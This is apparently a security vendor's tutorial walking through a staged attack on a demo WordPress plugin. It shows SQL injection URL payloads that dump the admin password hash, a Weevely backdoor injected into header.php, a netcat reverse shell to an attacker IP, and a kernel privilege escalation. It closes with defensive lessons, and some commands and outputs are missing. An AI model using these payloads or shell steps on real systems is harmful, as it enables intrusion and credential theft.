In This Series
In This Series
SQL Injection is one of the most dangerous vulnerabilities a web application can be prone to. If a
user’s input is being passed unvalidated and unsanitized as part of an SQL query, the user can
manipulate the query itself and force it to return different data than what it was supposed to
return. In this article, we see how and why SQLi attacks have such a big impact on application
security.
https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/
http://acunetix.php.example/show.php?article=1
If a user sets the value of the article parameter to 1 AND 1=1, the query becomes:
If a user changes the parameter to 1 AND 1=2, it returns nothing because 1 is not equal to 2.
That means that the user is controlling the query string and can adjust it accordingly to with SQL
code to manipulate the results.
The Attack
Let’s see step-by-step how dangerous the exploitation of an SQL Injection can be. Just for
reference, the following scenario is executed on a Linux machine running Ubuntu 16.04.1 LTS,
PHP 7.0, MySQL 5.7, and WordPress 4.9.
For the purposes of this demonstration, we have performed a security audit on a sample web
application. During our penetration test, we have identified a plugin endpoint that accepts the
user ID via a $_GET request and displays their user name.
http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/
endpoint.php?user=1
The endpoint is directly accessible, which could indicate weak security. The first thing someone
would do is to manipulate the entry point (user input: $_GET parameter) and observe the
response. What we are looking for is to see if our input causes the output of the application to
change in any way. Ideally, we want to see an SQL error which could indicate that our input is
parsed as part of a query.
There are many ways to identify whether an application is vulnerable to SQL injection. One of
the most common and simple ones is the use of a single quote which under certain circumstances
breaks the database query:
http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/
endpoint.php?user=1’
The MySQL error that we get confirms that the application is indeed vulnerable:
At this point, it is almost certain that soon we will be able to exfiltrate data from the backend
database of the web application. If our input is being parsed as part of the query, we can control
it using SQL commands. If we can control the query, we can control the results.
We have identified the SQL injection vulnerability, now let’s proceed with the attack. We want
to get access to the administration area of the website. Let’s assume that we don’t know the
structure of the database or that the administrator used non-default naming/prefixes when
installing WordPress. We need to find table names to be able to grab the administrator’s
password later.
First, we need to find out how many columns the current table has. We will use column ordering
to achieve that. ORDER BY is used to set the order of the results. You can order either by
column name or by the number of the column. In this case, we need to use the number of the
column. If the number that we pass in the parameter is less than the total number of columns in
the current table, the output of the application should not change because the SQL query is valid.
However, if the number is larger than the total number of columns, we will get an error because
there is no such column. In our case, we have identified 10 columns:
http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/
endpoint.php?user=1+ORDER+BY+10
If we use a higher number, we don’t get any results:
http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/
endpoint.php?user=1+ORDER+BY+11
Now that we know how many columns the current table has, we will use UNION to see which
column is vulnerable. UNION SELECT is used to combine results from multiple SELECT
statements into a single result. The vulnerable column is the one whose data is being displayed
on the page.
http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/
endpoint.php?user=-1+union+select+1,2,3,4,5,6,7,8,9,10
As we can see, the number “10” is being displayed on the page which means this is the
vulnerable column:
We can confirm this by replacing it with version() which will show the MySQL version:
http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/
endpoint.php?user=-1+union+select+1,2,3,4,5,6,7,8,9,version()
Next, we need to find the table names which we will then use to exfiltrate data:
http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/
endpoint.php?user=-1+union+select+1,2,3,4,5,6,7,8,9,
(SELECT+group_concat(table_name)
+from+information_schema.tables+where+table_schema=database())
Now that we have the table structure, we can query the database to get the admin’s credentials
from the table wp_users.
http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/
endpoint.php?user=-1+union+select+1,2,3,4,5,6,7,8,9,
(SELECT+user_pass+FROM+wp_users+WHERE+ID=1)
The query returns the admin’s password hash. To find the password for this hash, we will use a
well-known password recovery software named hashcat. This software offers various methods of
cracking a password. We will try a dictionary attack with a relatively small list containing 96
million passwords.
After downloading hashcat as well as the password list, we run the following command:
We’ve been lucky and were able to recover the password within a few minutes. The recovered
password is 10987654321:
Unless two-factor authentication is in place, the admin’s password should be sufficient to access
the website’s backend. Once we do that, the options are limitless.
It is important to note that at the current stage we have full admin access to the website’s
backend user database which means we can impersonate any user login, access any page/post
including those with sensitive data, export all the data including users, insert into tables, drop
tables, and pretty much do anything we want. Let’s see how far we can get.
There are third-party WordPress plugins that could allow us to execute shell commands or
upload new files. However, we will avoid those. Instead, to further escalate this attack we will
use Weavely, a popular lightweight PHP backdoor.
After downloading and unpacking the software, we will first create an agent that will be injected
into the WordPress site, which will give us the ability to execute system commands under the
low-privileged web server account (www-data).
The following command will create a file which must be uploaded on the target system.
Instead of uploading the file, we will use existing WordPress template files to inject the contents
of agent.php. We navigate to the appearance editor (which is by default enabled) and inject the
code of agent.php into the header.php file :
Now the backdoor agent is in place. We need to initiate a connection to it from our local
computer. We injected the agent into the theme header, so we can specify any WordPress page as
a target because the header is included in all template files.
On the victim’s end, this is what the requests sent to the backdoor look like in the log:
On our local machine we also start a Netcat listener so that we can create a reverse shell
connection from the target to our computer:
root@secureserver:~/weevely3-master# nc -l -v -p 8181
listening on [any] 8181 ...
We now send the following command to our backdoor agent to initiate a reverse shell
connection:
www-data@targetmachine:/var/www/html/wordpress $ backdoor_reversetcp
192.168.2.112 8181
w/html/wordpress $
We now have a low privileged shell on the target machine. What we want is to escalate our
privileges and get root access. The uname -a command returns enough information for us to
proceed with the attack. We are interested in the kernel version.
We have found a privilege escalation exploit which works on this kernel version (4.4.0.31). We
download and compile it on our local machine.
Now we use the reverse shell connection to download the exploit to the target machine.
We grant the execute permission on the exploit by running chmod +x chocobo_root and then
we run it :
After a few moments, the privilege escalation is successful, and we can see that we are running
as root:
At this point, we have full root access to the target machine which means that the security
triangle of confidentiality, integrity, and availability has been completely compromised. This can
be disastrous for an organization because an attacker can:
It is important to note that the machine was running on a default setup without any changes,
which made the attack easier. The following factors were critical to the successful exploitation of
this vulnerability:
The web application was vulnerable to SQL Injection, one of the most dangerous
vulnerabilities for an application. A vulnerability scanning tool would have detected it
and given information on how to fix it.
There was no WAF (Web Application Firewall) in place to detect the SQL Injection
exploitation. A WAF could block the attack even if the application is vulnerable.
There was no Intrusion Detection or Intrusion Prevention system in place. Many such
systems keep a database with hashes of all the monitored files. If a file is modified, its
hash changes and the system notifies the administrator about potentially malicious
activity. This means that changes done to header.php (Weavely backdoor injected)
could have been detected.
The OS was not up to date, which allowed the privilege escalation to be successfully
exploited.